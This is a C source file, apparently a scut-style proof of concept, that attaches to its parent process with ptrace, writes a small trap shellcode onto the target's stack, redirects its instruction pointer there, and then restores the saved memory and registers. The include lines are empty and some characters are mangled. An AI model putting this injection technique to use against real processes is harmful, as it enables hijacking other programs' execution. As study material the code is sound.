/* -scutstyle */ #include #include #include #include #include #include #include pid_t z_fork (void); void hexdump (unsigned char *data, unsigned int amount); unsigned char shellcode[] = "\x90\x90\xcc\x73"; int main (int argc, char *argv[]) { pid_t cpid; struct user regs; unsigned long int safed_eip; unsigned long int addr, addr_walker; unsigned char data_saved[256]; #if 0 if (argc != 2 || sscanf (argv[1], "%d", &cpid) != 1) { printf ("usage: %s \n", argv[0]); exit (EXIT_FAILURE); } #endif cpid = getppid(); if (z_fork () != 0) { printf ("parent. exiting.\n"); exit (EXIT_FAILURE); } printf ("pid = %d\n", cpid); printf ("exploiting\n\n"); if (ptrace (PTRACE_ATTACH, cpid, NULL, NULL) < 0) { perror ("ptrace"); exit (EXIT_FAILURE); } /* save data */ addr = 0xbffff010; for (addr_walker = 0 ; addr_walker < 256 ; ++addr_walker) { data_saved[addr_walker] = ptrace (PTRACE_PEEKDATA, cpid, addr + addr_walker, NULL); } hexdump (data_saved, sizeof (data_saved)); /* write */ for (addr_walker = 0 ; addr_walker < sizeof (shellcode) ; ++addr_walker) { ptrace (PTRACE_POKEDATA, cpid, addr + addr_walker, shellcode[addr_walker] & 0xff); } /* redirect eip */ memset (®s, 0, sizeof (regs)); if (ptrace (PTRACE_GETREGS, cpid, NULL, ®s) < 0) { perror ("ptrace PTRACE_GETREGS"); exit (EXIT_FAILURE); } // write eip */ safed_eip = regs.regs.eip; regs.regs.eip = 0xbffff010; if (ptrace (PTRACE_SETREGS, cpid, NULL, ®s) < 0) { perror ("ptrace PTRACE_GETREGS"); exit (EXIT_FAILURE); } if (ptrace (PTRACE_CONT, cpid, NULL, NULL) < 0) { perror ("ptrace PTRACE_CONT"); exit (EXIT_FAILURE); } wait (NULL); printf ("detrap\n"); /* restore */ for (addr_walker = 0 ; addr_walker < 256 ; ++addr_walker) { ptrace (PTRACE_POKEDATA, cpid, addr + addr_walker, data_saved[addr_walker] & 0xff); } /* restore regs */ regs.regs.eip = safed_eip; if (ptrace (PTRACE_SETREGS, cpid, NULL, ®s) < 0) { perror ("ptrace PTRACE_GETREGS"); exit (EXIT_FAILURE); } if (ptrace (PTRACE_DETACH, cpid, NULL, NULL) < 0) { perror ("ptrace PTRACE_DETACH"); exit (EXIT_FAILURE); } exit (EXIT_SUCCESS); } void hexdump (unsigned char *data, unsigned int amount) { unsigned int dp, p; /* data pointer */ const char trans[] = "................................ !\"#$%&'()*+,-./0123456789" ":;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklm" "nopqrstuvwxyz{|}~...................................." "....................................................." "........................................"; for (dp = 1; dp <= amount; dp++) { printf ("%02x ", data[dp-1]); if ((dp % 8) == 0) printf (" "); if ((dp % 16) == 0) { printf ("| "); p = dp; for (dp -= 16; dp < p; dp++) printf ("%c", trans[data[dp]]); printf ("\n"); } } if ((amount % 16) != 0) { p = dp = 16 - (amount % 16); for (dp = p; dp > 0; dp--) { printf (" "); if (((dp % 8) == 0) && (p != 8)) printf (" "); } printf (" | "); for (dp = (amount - (16 - p)); dp < amount; dp++) printf ("%c", trans[data[dp]]); } printf ("\n"); return; } /* z_fork * * fork and detach forked client completely to avoid zombies. * taken from richard stevens excellent system programming book :) thanks, * whereever you are now. * * caveat: the pid of the child has already died, it can just be used to * differentiate between parent and not parent, the pid of the * child is inaccessibly. * * return pid of child for old process * return 0 for child */ pid_t z_fork (void) { pid_t pid; pid = fork (); if (pid < 0) { return (pid); } else if (pid == 0) { /* let the child fork again */ pid = fork (); if (pid < 0) { return (pid); } else if (pid > 0) { /* let the child and parent of the second child * exit */ exit (EXIT_SUCCESS); } return (0); } waitpid (pid, NULL, 0); return (pid); }